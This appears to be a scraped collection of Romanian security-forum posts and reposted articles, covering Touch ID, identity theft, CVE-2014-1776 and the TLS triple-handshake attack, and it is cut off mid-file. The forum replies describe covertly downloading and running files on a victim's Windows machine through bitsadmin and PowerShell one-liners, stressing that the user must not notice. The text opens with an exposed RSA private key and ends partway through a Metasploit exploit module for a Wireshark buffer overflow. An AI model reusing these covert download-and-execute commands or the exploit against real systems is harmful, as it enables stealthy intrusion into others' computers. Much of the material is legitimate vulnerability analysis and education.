gAFD0kSY+I7Wbre+IfA22UNjAW5ZEcyU1JGDmPBVVfGMaa00Fhx0ixvANKKL9V3d biGomBS5Qm59s5f+dx7KmarzZ8JmaDttEYpcIllRR1cM+jtzsRvo8hB3nDAA6EFg v94ltqJ/1IcHxrLyax6+PMKJz+CCVm4Nhs2u+FsoSORuv82tcEoBYg3ZB6uLAeWp ad3p5DkCgYEA36viOCA3pvKl+FY2YaA2CkH9Tp+/fKTgbxX/FthpfS7VYvbzZWt1 +FhBxUDvCbBm18mDqYJ+tMk54Ku6ykFSAnX0LYWx0tDo9/m8P9oOYRjXP0tjqOhm UqtqP8YrrqiSjpNp1EbuCkFUgU0On+s4vdrF8v2OmehDzCglF/d9uw8CgYEAyhsz CHCE+nzx+6iHKV1q3OkuOHNSo7CQMSngMJQFhgIbapVuqaRQs8dP6orpdYUH1+vv l/RrISNkCO+8Plz5c9am3sgcwabhWb1wBeR05IhovqWPLlTf24IWf0vW/B9aDIw7 3zlPe2GbBBV2IYPxFmdiZUIvERiqlwHchk5Oal8CgYEA0MxJCrHwodWkX/ZDH9GK gPrnN41jGT1lEe5LygzONQESTCdSQZwWbXYeN8CNJNNavhgs44GhPK0YbYaCgaqG nytzfUdwH+fLgynLtSOfBr9EuJ5s81G3q3a/YbdiMdLFtXkhcvuf3UztUSMZAup3 dqwS2+odQ8mR+LSFJCFyarsCgYEAkaQWG3/SJBwD2SEx/XoHNxiGKUHZjIIA9pzB pOAWNuKv1RfIPlFdop//k/n0kK6D33JzHuKQjLnPLa1sztf7HyHQ8HvuVRKoFB4y atyd683tBW2TB4U8KBfPlH4Xd2o0XxRzVMIc58GHjuLUVQSaqFVqD6Qo/L30uIsr 2lD1qysCgYAUqmsr5eMl0VgM7ACvKPwQNMzZzA+1mj6ijWMGDMzKKPwHtK+avIw4 fvTj88CJ43gvv6tN+zXtJrUHPEN6rgR/FSyrnVjXbb8+PuYfl15zpBrW5weNrcMV AlCn+Q7FcVTbZkHfZ1SoA7HG3hZfnRRMPBwjEMOQb9NPRlM2WqKZNw== -----END RSA PRIVATE KEY----- save file as hbdemo.key Now decrypt the secret file using the private key. > cat supersecret.txt.enc | openssl rsautl -decrypt -inkey hbdemo.key results: > Darth Vader is Luke's father. The next part was funny, I didn't remember where they said to send the answer to so I reached out to people I know to ask if they knew Wolfgang and I was able to get his phone number. On his voice mail I was able to get his email address and that is where I sent the answer to. I also posted out to twitter and he responded to me with his email (but I had already send the answer by that time). I just want to say thank you to Wolfgang and the Qualys team for doing the webcast and adding a challenge to it also. It made it interactive and fun. I hope they do this more in future webcasts. Author: jcheuvront Sursa: https://community.qualys.com/message/22793#22793

iOS 7.1.1 Behind the scenes of touch ID Touch ID takes a 88x88 500ppi scan of your finger and temporarily sends that data to a secure cache located near the RAM, after the data is vectorized and forwarded to the secure enclave located on the top left of the A7 near the M7 processor it is immediately discarded after processing. The fingerprint scanner uses subdermal ridge flows (inner layer of skin) to prevent loss of accuracy if you were to have micro cuts or debris on your finger. With iOS 7.1.1 Apple now takes multiple scans of each position you place finger at setup instead of a single one and uses algorithms to predict potential errors that could arise in the future. Touch ID was supposed to gradually improve accuracy with every scan but the problem was if you didn't scan well on setup it would ruin your experience until you re-setup your finger. iOS 7.1.1 not only removes that problem and increases accuracy but also greatly reduces the calculations your iPhone 5S had to make while unlocking the device which means you should get a much faster unlock time. The purchase of authentec has given Apple a huge future advantage and touch ID is most likely a temporary place holder of a future display with an embedded fingerprint sensor Here is the source about how touch ID works (starts on page 6) http://images.apple.com/ipad/business/docs/iOS_Security_Feb14.pdf. The 2nd paragraphs source is magical Sursa: iOS 7.1.1 Behind the scenes of touch ID : apple

10 Unbelievable Identity Theft Cases Here’s a countdown to the most incredible identity theft cases recorded, compiled by guyism.com. Dr. Gerald Barnes Gerald Barnbaum lost hispharmacist license after committing Medicaid fraud. He stole the identity of Dr. Gerald Barnes and practiced medicine under his name. A type 1 diabetic died under his care. “Dr. Barnes” even worked as a staff physician for a center that gave exams to FBI agents. He’s currently serving hard time. Mark Tufano Mark Tufano got his joy ride by impersonating famed actors like Gary Oldman, in which he sent a video of himself as Gary Oldman portraying Andy Kaufman; it fooled the man who actually wanted Oldman to portray Kaufman in Man On The Moon. The real Gary Oldman caught wind of the scam and got it busted. Marcelo Nascimento da Rocha This drug smuggler impersonated Henrique Constantino, the brother of the CEO of the airline Gol Airlines, enjoying the high life but then getting busted after sleeping with a woman who actually knew the real Constantino. Andrea Harris-Frazier Margot Somerville lost her wallet on a trolley. Two years later she was arrested. Andrea Harris-Frazier had defrauded several banks—using Somerville’s identity—out of tens of thousands of dollars. The real crook was caught. Brittany Ossenfort Brittany Ossenfort got a new roommate, Michelle, who got a haircut just like Ossenfort’s. One day Ossenfort received a call at her office from the cops asking her to bail herself out of jail. “Michelle” had been hooking on the streets, posing as Ossenfort and was caught. Turns out “Michelle” was really Richard Lester Phillips, living as a woman. Lara Love and David Jackson This California couple one day began tapping into a neighbor’s wireless Internet router. This led to them raiding the neighbors’ personal data. Thirty victims were affected ultimately by the time this pair was busted. Frederic Bourdin Bourdin liked to impersonate missing children, including Nicholas Barclay, a missing teen. The teen’s family was fooled, even though Bourdin looked nothing like Barclay (including different hair and eye color--amazing, isn’t it?). More stunning is that the family was fooled for nearly a year until fingerprints proved his real identity. He’s been in and out of jail since. Ferdinand Demara This daring serial imposter used medical books to fudge his way through surgeries he performed onboard a ship during the Korean war, impersonating Dr. Joseph Cyr. Prior, he had faked his death and even went AWOL under a friend’s name when in the Army. Abraham Abdallah A busboy named Abraham Abdallah got into the bank accounts of Steven Spielberg and other famous people after tricking his victims via computer, getting sufficient data to fake being their financial advisors—then calling their banks…and you know the rest. Phillip Cummings This fat cat worked for a software company and sold customers’ credit card reports to a Nigerian ID theft ring for $30 each—30,000 times. Seriously?! Really, get identity theft protection! Sursa: 10 Unbelievable Identity Theft Cases*|*Robert Siciliano

CVE-2014-1776 (IE 0day) Analysis FireEye Research Labs identified a new Internet Explorer zero-day exploit used in targeted attacks. The vulnerability nearly affects all Internet Explorer versions (6/7/8/9/10/11). The exploit bypasses ASLR/DEP. CVE-2014-1776 was assigned to the vulnerability by Microsoft. There is not any public PoC / Exploit of the vulnerability on web. So we will not share it too. Vulnerability and Analysis Firstly, Websense’s claim is not truth, the vulnerability is not a buffer overflow. This is exactly a use after free. The vulnerability exists within the object used by MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0×6. Exploit forces to re-use a dangling pointer of the object and this causes use-after-free error. Here is the crash point when we trigger the vulnerability with PoC.html. Crash occurs on MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0×6 function. The function tries to “mov” an object that ESI points. After running !heap command for a quick analysis, we see that ESI points to an object which has been already free-ed: The object is free-ed by MSHTML!Cmarkup: PrivateRelease function as we see in heap trace. If we look at these functions , we will see that it calls HeapFree function: And this free-ed object re-used by MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0×6 and this causes the use after free condition. Exploitation Exploit uses Flash vector object technique to bypass ASLR and DEP successfully. This is a common technique which used by fresh exploits nowadays. Exploit loads a flash file (SWF) before triggering the vulnerability and prepare the heap with this technique. To exploit use after free vulns, firstly we should know what size of object allocated before it becomes free-ed ? If we can create a fake object with same size using heap spray, then it’s possible to exploit this vulnerability. So I looked the crash function and wanted to follow where ESI comes from etc. So I put a breakpoint on MSHTML!CMarkup::IsConnectedToPrimaryMarkup and want to look at the heap allocations until it crashes. Here is the windbg command that I use; BP MSHTML!CMarkup::IsConnectedToPrimaryMarkup “!heap -p -a esi; g” and this is the result of windbg until it crashes: address 21be4bd8 found in _DPH_HEAP_ROOT @ 1f1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 21a038bc: 21be4bd8 428 - 21be4000 2000 MSHTML!CMarkup::`vftable' 553b8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77270d96 ntdll!RtlDebugAllocateHeap+0x00000030 7722af0d ntdll!RtlpAllocateHeap+0x000000c4 771d3cfe ntdll!RtlAllocateHeap+0x0000023a 60cc0ee7 MSHTML!CDoc::CreateMarkupFromInfo+0x00000158 60d0de89 MSHTML!CDoc::CreateMarkup+0x00000064 612a6329 MSHTML!RemoveDOMNodeHelper+0x00000093 60ed48a3 MSHTML!CElement::removeNode+0x00000033 611d87bf MSHTML!Method_IDispatchpp_oDoVARIANTBOOL+0x0000006f 61019697 MSHTML!CBase::ContextInvokeEx+0x000002b6 60e257a5 MSHTML!CElement::ContextInvokeEx+0x0000004c 61025e62 MSHTML!CElement::VersionedInvokeEx+0x0000002a 60d9f492 MSHTML!CBase::PrivateInvokeEx+0x0000006d 690c5ef6 jscript9!HostDispatch::CallInvokeEx+0x000000ae 690ce85a jscript9!HostDispatch::InvokeMarshaled+0x0000004b 690ce79a jscript9!HostDispatch::InvokeByDispId+0x000001cf 690ce5c3 jscript9!DispMemberProxy::DefaultInvoke+0x00000023 68fe7530 jscript9!Js::InterpreterStackFrame::Process+0x00001e3c 68fe7028 jscript9!Js::InterpreterStackFrame::InterpreterThunk+0x000001e8 address 21be4bd8 found in _DPH_HEAP_ROOT @ 1f1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 21a038bc: 21be4000 2000 553b90b2 verifier!AVrfDebugPageHeapFree+0x000000c2 77271564 ntdll!RtlDebugFreeHeap+0x0000002f 7722ac29 ntdll!RtlpFreeHeap+0x0000005d 771d34a2 ntdll!RtlFreeHeap+0x00000142 769514ad kernel32!HeapFree+0x00000014 60df4d1a MSHTML!CMarkup::`vector deleting destructor'+0x00000025 60c60492 MSHTML!CBase::PrivateRelease+0x00000103 60c59909 MSHTML!CMarkup::PrivateRelease+0x0000002c 60f6f811 MSHTML!CMarkup::ProcessPeerTask+0x00000066 60fd88a1 MSHTML!CMarkup::ProcessPeerTaskContext+0x0000008e 60fd8803 MSHTML!CMarkup::ProcessPeerTasks+0x0000003f 60fd9016 MSHTML!CElement::VersionedGetDispID+0x0000008f 61037a70 MSHTML!CBase::PrivateGetDispID+0x00000041 690c5d1c jscript9!HostDispatch::GetDispID+0x00000091 69172421 jscript9!HostDispatch::EnsureDispIdForProperty+0x0000003d 69172544 jscript9!HostDispatch::PutValue+0x00000019 69172521 jscript9!HostDispatch::SetPropertyCore+0x00000046 69172686 jscript9!HostDispatch::SetProperty+0x00000032 68fe29e1 jscript9!Js::JavascriptOperators::SetProperty_Internal+0x0000005c 6901fde7 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040 6901fe43 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d 6901f931 jscript9!Js::InterpreterStackFrame::Process+0x0000319d 68fe7028 jscript9!Js::InterpreterStackFrame::InterpreterThunk+0x000001e8 (24c8.218c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=21be4bd8 edx=0a4bad54 esi=21be4bd8 edi=00000000 eip=60e15956 esp=0a4bad84 ebp=0a4badd4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0x6: 60e15956 8b86a4000000 mov eax,dword ptr [esi+0A4h] ds:002b:21be4c7c=???????? So the object size is 0×428 and we should create a fake object with this size using heap spray technique to exploit this vulnerability. Solution Actually VML is the not the root cause of the vulnerability so unregistering VGX.DLL will only block the current exploit in the wild. We are working with ZEMANA to release a 3rd party patch for this vulnerability soon. We will update you about the patch soon. Sursa: CVE-2014-1776 (IE 0day) Analysis - SignalSEC Corp. : SignalSEC Corp.

Windows Artifact Analysis: Evidence of... Created for FOR408 – Windows Forensics – SANS Digital Forensics and Incident Response faculty created the “Evidence of...” categories to map a specific artifact to the analysis question that it will help to answer. Use this poster as a cheat- sheet to help you remember where you can discover key items to an activity for Microsoft Windows systems for intrusions, intellectual property theft, or common cyber-crimes. Download: https://blogs.sans.org/computer-forensics/files/2012/06/SANS-Digital-Forensics-and-Incident-Response-Poster-2012.pdf

Bug Bounties Expanding to Individual Developers by Dennis Fisher Bug bounties once were restricted mainly to large software companies such as Mozilla and Google. But the success of these programs has led many other infrastructure and product companies, including Yahoo, Facebook, Barracuda, PayPal and even Microsoft, to launch their own reward systems. Now, the phenomenon has spread to individual developers. Looking at the list of vendors involved in bug bounties, it would seem that the barrier to entry is relatively high. Those are all well-heeled companies with rather large bankrolls, so handing out a few thousand or even tens of thousands of dollars to security researchers isn’t a huge deal for them. The rewards for these companies have turned out to be well worth the investment, as they’re getting highly skilled researchers poring over their code without having to pay them salaries and benefits. But what would the returns be for an individual developer with a small project or application who doesn’t have a lot of money to invest in a bounty program? The answer wasn’t clear, but Ian Dunn decided to find out. Dunn, a WordPress developer, wrote a plugin a few months ago that was designed to modify the workflow of a another plugin that deals with two-factor authentication logins. Not being a security expert, Dunn knew that he wanted some help looking for potential vulnerabilities in the plugin, so he decided to offer a reward to anyone who found a bug and let him know about it privately. “Given the nature of it, I knew that any potential bugs could have significant security implications, so I did my best to test it thoroughly. I’m not a security expert, though, so I still worried that there might be some esoteric vulnerability I had missed,” Dunn said voa email. “So, I wrote a post on my blog offering a security bounty for anyone who found a vulnerability and disclosed it to me privately. That actually worked — a colleague of mine found a bug and I released a patch — but it’s obviously not an ideal solution, since it only reaches a few people in my circle.” Dunn wanted to expand the reach of his reward offer, but he knew he didn’t quite have the visibility and influence of Google or Microsoft. So when he came across the HackerOne bug bounty platform, he thought it was a good fit. Hacker One provides a way for researchers to report vulnerabilities privately and collect rewards from participating vendors, which include Yahoo, OKCupid, CloudFlare and OpenSSL. The rewards vary by vendor, with minimum bounties ranging from a couple of hundred dollars to several thousand. Dunn set his minimum at $25. “When I heard about HackerOne, it sounded like the perfect solution. They’ve got a deep pool of researchers who are motivated to find vulnerabilities and disclose them responsibly, and they offer a great set of tools to manage the entire process,” he said. “I hope to get more eyes on my code, so that any security bugs that slip in can be caught, and also so I can learn from any mistakes I make.” Although Dunn is a small fish among some rather large sharks in the bug bounty sea, he already has closed two bugs on HackerOne since he joined last week. He said that he’s hopeful other individual developers will follow his lead and offer incentives to researchers. “Definitely. Security is still something that the development community isn’t doing a good enough job at, and I think HackerOne can make a huge impact by giving developers access to audits,” Dunn said. Sursa: Bug Bounties Expanding to Individual Developers | Threatpost | The first stop for security news

Asa cum exista un topic de "Fun stuff", asa ar fi ok sa avem si lucruri interesante de urmarit. Postati aici lucruri UTILE si INTERESANTE, nu neaparat legate de IT, ci legate de viata, fizica, curiozitati, orice va trece prin cap si ar putea fi interesant si pentru alte persoane. De exemplu: Alt exemplu: [h=1]A fost inventat combustibilul "solar" pentru aeronave[/h] Un proiect de cercetare, finan?at de UE, a dus la ob?inerea, în premier? la nivel mondial, a unui combustibil „solar” pentru aeronave, pe baz? de ap? ?i dioxid de carbon (CO2). Cercet?torii au realizat pentru prima dat? întregul lan? de produc?ie a kerosenului regenerabil, utilizând lumina concentrat? ca surs? de energie cu temperatur? înalt?. Proiectul, denumit Solar-Jet, se afl? înc? în faza experimental?. Astfel, în condi?ii de laborator, cu ajutorul luminii solare simulate, s-a ob?inut un pahar de combustibil. Cu toate acestea, având în vedere rezultatele ob?inute, se poate spera c?, în viitor, to?i combustibilii lichizi pe baz? de hidrocarburi ar putea fi produ?i din lumin? solar?, dioxid de carbon ?i ap?. Mai multe: https://ro.stiri.yahoo.com/a-fost-inventat-combustibilul--solar--pentru-aeronave-135052375.html?cmp=rofb Nu va bateti joc de acest topic. Veti primi warn/ban daca postati porcarii.

Iti deschide in browser link-ul. Ideea e, normal, ca userul sa nu stie ca i se descarca un fisier in calculator. Si nu toate fisierele pe toate browserele sunt descarcate automat si puse in Downloads. Ca nota legat de "bitsadmin", e nevoie ca serverul HTTP sa fie unul "ok", unul care sa suporte Range-Bytes si care sa nu raspunda cu HTTP 405. Spun asta pentru ca am instalat doua mini-servere HTTP stupide si nu au functionat. Cu Apache e ok. Ca sa inteleaga toata lumea, metoda e pentru cazul in care: 1. ai acces shell la un user (adica acces la "linia de comanda", poti executa comenzi) 2. poti executa doar comenzi de Windows, nu ai alte fisiere pe care poti sa le pui 3. user-ul nu trebuie sa afle in niciun fel ca se intampla ceva ciudat la el in calculator 4. nu trebuie sa te complici sa scrii zeci de comenzi ca sa descarci un fisier PS: Asa puteti face un "Download & Execute" cu 2 linii de cod.

Alta optiune, cu PowerShell, dar cred ca merge doar pe Windows 7 si Windows 8. powershell -Command "(New-Object Net.WebClient).DownloadFile('http://www.foo.com/package.zip', 'package.zip')" @Kalashnikov. Asa ai si Firefox. Dar nu cand ai doar shell. Adica doar poti executa comenzi.

Salut, In caz ca vreodata aveti nevoie de un mijloc rapid de download pe un PC cu Windows la care aveti shell: bitsadmin.exe /transfer "JobName" http://download.url/here.exe C:\destination\here.exe L-am gasit aici: Windows batch file file download from a URL - Stack Overflow

Use after free iar VGX.dll care probabil nu e compilat cu suport pentru ASLR, e folosit pentru bypass DEP si ASLR.

@ CoffeeMan, chiar a fost redeschis de curand

_|_

[h=3]Attack of the Week: Triple Handshakes (3Shake)[/h]The other day Apple released a major security update that fixes a number of terrifying things that can happen to your OS/X and iOS devices. You should install it. Not only does this fix a possible remote code execution vulnerability in the JPEG parser (!), it also patches a TLS/SSL protocol bug known as the "Triple Handshake" vulnerability. And this is great timing, since Triple Handshakes are something I've been meaning (and failing) to write about for over a month now. But before we get there: a few points of order. First, if Heartbleed taught us one thing, it's that when it comes to TLS vulnerabilities, branding is key. Henceforth, and with apologies to Bhargavan, Delignat-Lavaud, Pironti, Fournet and Strub (who actually discovered the attack*), for the rest of this post I will be referring to the vulnerability simply as "3Shake". I've also taken the liberty of commissioning a logo. I hope you like it. On a more serious note, 3Shake is not Heartbleed. That's both good and bad. It's good because Heartbleed was nasty and 3Shake really isn't anywhere near as dangerous. It's bad since, awful as it was, Heartbleed was only an implementation vulnerability -- and one in a single TLS library to boot. 3Shake represents a novel and fundamental bug in the TLS protocol. The final thing you should know about 3Shake is that, according to the cryptographic literature, it shouldn't exist. You see, in the last few years there have been at least three four major crypto papers purporting to prove the TLS protocol secure. The existence of 3Shake doesn't make those results wrong. It may, however, indicate that cryptographers need to think a bit more about what 'secure' and 'TLS' actually mean. For me, that's the most fascinating implication of this new attack. I'll proceed with the usual 'fun' question-and-answer format I save for this sort of thing. What is TLS and why should you care? Since you're reading this blog, you probably already know something about TLS. You might even realize how much of our infrastructure is protected by this crazy protocol. In case you don't: TLS is a secure transport protocol that's designed to establish communications between two parties, who we'll refer to as the Client and the Server. The protocol consists of two sub-protocols called the handshake protocol and the record protocol. The handshake is intended to authenticate the two communicating parties and establish shared encryption keys between them. The record protocol uses those keys to exchange data securely. For the purposes of this blog post, we're going to focus primarily on the handshake protocol, which has (at least) two major variants: the RSA handshake and the Diffie-Hellman handshake (ECDHE/DHE). These are illustrated below. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Simplified description of the TLS handshakes. Top: RSA handshake. Bottom: Diffie-Hellman handshake.[/TD] [/TR] [/TABLE] As much as I love TLS, the protocol is a hot mess. For one thing, it inherits a lot of awful cryptography from its ancient predecessors (SSLv1-3). For another, it's only really beginning to be subjected to rigorous, formal analysis. All this means we're just now starting to uncover some of the bugs that have been present in the protocol since it was first designed. And we're likely to discover more! That's partly because this analysis is at a very early stage. It's also partly because, from an analysts' point of view, we're still trying to figure out exactly what the TLS handshake is supposed to do. Well, what is the TLS handshake supposed to do? Up until this result, we thought we had a reasonable understanding of the purpose of the TLS handshake. It was intended to authenticate one or both sides of the connection, then establish a shared cryptographic secret (called the Master Secret) that could be used to derive cryptographic keys for encrypting application data. The first problem with this understanding is that it's a bit too simple. There isn't just one TLS handshake, there are several variants of it. Worse, multiple different handshake types can be used within a single connection. The standard handshake flow is illustrated -- without crypto -- in the diagram below. In virtually every TLS connection, the server authenticates to the client by sending a public key embedded in a certificate. The client, for its part, can optionally authenticate itself by sending a corresponding certificate and proving it has the signing key. However this client authentication is by no means common. Many TLS connections are authenticated only in one direction. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Common TLS handshakes. Left: only server authenticates. Right: client and server both authenticate with certificates.[/TD] [/TR] [/TABLE] TLS also supports a "renegotiation" handshake that can switch an open connection from one mode to the other. This is typically used to change a connection that was authenticated only in one direction (Server->Client) into a connection that's authenticated in both directions. The server usually initiates renegotiation when the client has e.g., asked for a protected resource. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Renegotiating a session. A new handshake causes the existing connection to be mutually authenticated.[/TD] [/TR] [/TABLE] Renegotiation has had problems before. Back in 2009, Ray and Dispensa showed that a man-in-the-middle attacker could actually establish a (non-authenticated) connection with some server; inject some data; and when the server asks for authentication, the attacker could then "splice" on a real connection with an authorized client by simply forwarding the new handshake messages to the legitimate client. From the server's point of view, both communications would seem to be coming from the same (now authenticated) person: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Ray/Dispensa attack from 2009. The attacker first establishes an unauthenticated connection and injects some traffic ("drop table *"). When the server initiates a renegotiation for client authentication, the attacker forwards the new handshake messages to an honest client Alice who then sends real traffic. Since the handshakes are not bound together, Bob views this as a single connection to one party.[/TD] [/TR] [/TABLE] To fix this, a "secure renegotiation" band-aid to TLS was proposed. The rough idea of this extension was to 'bind' the renegotiation handshake to the previous handshake, by having the client present the "Finished" message of the previous handshake. Since the Finished value is (essentially) a hash of the Master Secret and the (hash of) the previous handshake messages, this allows the client to prove that it -- not an attacker -- truly negotiated the previous connection. All of this brings us back to the question of what the TLS handshake is supposed to do. You see, the renegotiation band-aid now adds some pretty interesting new requirements to the TLS handshake. For one thing, the security of this extension depends on the idea that (1) no two distinct handshakes will happen to use the same Master Secret, and (2) that no two handshakes will have the same handshake messages, ergo (3) no two handshakes will have the same Finished message. Intuitively, this seemed like a pretty safe thing to assume -- and indeed, many other systems that do 'channel binding' on TLS connections also make this assumption. The 3Shake attack shows that this is not safe to assume at all. So what's the problem here? It turns out that TLS does a pretty good job of establishing keys with people you've authenticated. Unfortunately there's a caveat. It doesn't truly guarantee the established key will be unique to your connection. This is a pretty big violation of the assumptions that underlie the "secure renegotiation" fix described above. For example: imagine that Alice is (knowingly) establishing a TLS connection to a server Mallory. It turns out that Mallory can simultaneously -- and unknown to Alice -- establish a different connection to a second server Bob. Moreover, if Mallory is clever, she can force both connections to use the same "Master Secret" (MS). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Mallory creates two connections that use the same Master Secret.[/TD] [/TR] [/TABLE] The first observation of the 3Shake attack is that this trick can be played if Alice supports either of the or RSA and DHE handshakes -- or both (it does not seem to work on ECDHE). Here's the RSA version:** [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]RSA protocol flow from the triple handshake attack (source). The attacker is in the middle, while the client and server are on the left/right respectively. MS is computed as a function of (pms, cr, sr) which are identical in both handshakes. [/TD] [/TR] [/TABLE] So already we have a flaw in the logic undergirding secure renegotiation. The Master Secret (MS) values are not necessarily distinct between different handshakes. Fortunately, the above attack does not let us resurrect the Ray/Dispensa injection attack. While the attacker has tricked the client into using a specific MS value, the handshake Finished messages -- which the client will attach to the renegotiation handshake -- will not be the same in both handshakes. That's because (among other things) the certificates sent on each connection were very different, hence the handshake hashes are not identical. In theory we're safe. But here is where TLS gets awesome. You see, there is yet another handshake I haven't told you about. It's called the "session resumption handshake", and it allows two parties who've previously established a master secret (and still remember it) to resume their session with new encryption keys. The advantage of resumption is that it uses no public-key cryptography or certificates at all, which is supposed to make it faster. It turns out that if an attacker knows the previous MS and has caused it to be the same on both sides, it can now wait until the client initiates a session resumption. Then it can replay messages between the client and server in order to update both connections with new keys: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]An attacker replays the session resumption handshake to ensure the same key on both sides. Note that the handshake messages are identical in both connections. (authors of source)[/TD] [/TR] [/TABLE] Which brings us to the neat thing about this handshake. Not only is the MS the same on both connections, but both connections now see exactly the same (resumption) handshake messages. Hence the hash of these handshakes will be identical, which means in turn that their "Finished" message will be identical. By combining all of these tricks, a clever attacker can pull off the following -- and absolutely insane -- "triple handshake" injection attack: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Triple handshake attack. The attacker mediates two handshakes that give MS on both sides, but two different handshake hashes. The resumption handshake leaves the same MS and an identical handshake hash on both sides. This means that the Finished message from the resumption handshake will be the same for the connections on either side of the attacker. Now he can hook up the two without anyone noticing that he previously injected traffic.[/TD] [/TR] [/TABLE] In the above scenario, an attacker first runs a (standard) handshake to force both sides of the connection to use the same MS. It then causes both sides to perform session resumption, which results in both sides using the same MS and having the same handshake hash and Finished messages on both sides. When the server initiates renegotiation, the attacker can forward the third (renegotiation) handshake on to the legitimate client as in the Ray/Dispensa attack -- secure in the knowledge that both client and server will expect the same Finished token. And that's the ballgame. What's the fix? There are several, and you can read about them here. One proposed fix is to change the derivation of the Master Secret such that it includes the handshake hash. This should wipe out most of the attacks above. Another fix is to bind the "session resumption" handshake to the original handshake that led to it. Wait, why should I care about injection attacks? You probably don't, unless you happen to be one of the critical applications that relies on the client authentication and renegotiation features of TLS. In that case, like most applications, you probably assumed that a TLS connection opened with a remote user was actually from that user the whole time, and not from two different users. If you -- like most applications -- made that assumption, you might also forget to treat the early part of the connection (prior to client authentication) as a completely untrusted bunch of crap. And then you'd be in a world of hurt. But don't take my word for it. There's video! (See here for the source, background and details): What does this have to do with the provable security of TLS? Of all the questions 3Shake raises, this one is the most interesting. As I mentioned earlier, there have been several recent works that purport to prove things about the security of TLS. They're all quite good, so don't take any of this as criticism. However, they also didn't find this attack. Why is that? The first reason is simple: many of these works analyze only the basic TLS handshake, or they omit at least one of the possible handshakes (e.g., resumption). This means they don't catch the subtle interactions between the resumption handshake, the renegotiation handshake, and extensions -- all of which are the exact ingredients that make most TLS attacks possible. The second problem is that we don't quite know what standard we're holding TLS to. For example, the common definition of security for TLS is called "Authenticated and Confidential Channel Establishment" (ACCE). Roughly speaking this ensures that two parties can establish a channel and that nobody will be able to determine what data is being sent over said channel. The problem with ACCE is that it's a definition that was developed specifically so that TLS could satisfy it. As a result, it's necessarily weak. For example, ACCE does not actually require that each handshake produces a unique Master Secret -- one of the flaws that enables this attack -- because such a definition was not possible to achieve with the existing TLS protocol. In general this is what happens when you design a protocol first and prove things about it later. What's the future for TLS? Can't we throw the whole thing out and start over again? Sure, go ahead and make TLS Rev 2. It can strip out all of this nonsense and start fresh. But before you get cocky, remember -- all these crazy features in TLS were put there for a reason. Someone wanted and demanded them. And sadly, this is the difference between a successful, widely-used protocol and your protocol. Your new replacement for TLS might be simple and wonderful today, but that's only because nobody uses it. Get it out into the wild and before long it too will be every bit as crazy as TLS. Notes: * An earlier version of this post incorrectly identified the researchers who discovered the attack. ** The Diffie-Hellman (DHE) version is somewhat more clever. It relies on the attacker manipulating the D-H parameters such that they will force the client to use a particular key. Since DHE parameters sent down from the server are usually 'trusted' by TLS implementations, this trick is relatively easy to pull off. Posted by Matthew Green at 9:13 AM Sursa: A Few Thoughts on Cryptographic Engineering: Attack of the Week: Triple Handshakes (3Shake)

[h=1]Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow[/h] # Exploit Title: Wireshark 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow # Date: 24/04/2014 # Exploit Author: j0sm1 # Vendor Homepage: www.wireshark.org # Software Link: http://wireshark.askapache.com/download/win32/all-versions/ # Version: < 1.8.12/1.10.5 # Tested on: Windows XP SP3 # CVE : cve-2014-2299 # Metasploit URL module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb # # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow', 'Description' => %q{ This module triggers a stack buffer overflow in Wireshark <= 1.8.12/1.10.5 by generating an malicious file.) }, 'License' => MSF_LICENSE, 'Author' => [ 'Wesley Neelen', # Discovery vulnerability 'j0sm1', # Exploit and msf module ], 'References' => [ [ 'CVE', '2014-2299'], [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9843' ], [ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2014-04.html' ], [ 'URL', 'http://www.securityfocus.com/bid/66066/info' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'BadChars' => "\xff", 'Space' => 600, 'DisableNops' => 'True', 'PrependEncoder' => "\x81\xec\xc8\x00\x00\x00" # sub esp,200 }, 'Platform' => 'win', 'Targets' => [ [ 'WinXP SP3 Spanish (bypass DEP)', { 'OffSet' => 69732, 'OffSet2' => 70476, 'Ret' => 0x1c077cc3, # pop/pop/ret -> "c:\Program Files\Wireshark\krb5_32.dll" (version: 1.6.3.16) 'jmpesp' => 0x68e2bfb9, } ], [ 'WinXP SP2/SP3 English (bypass DEP)', { 'OffSet2' => 70692, 'OffSet' => 70476, 'Ret' => 0x1c077cc3, 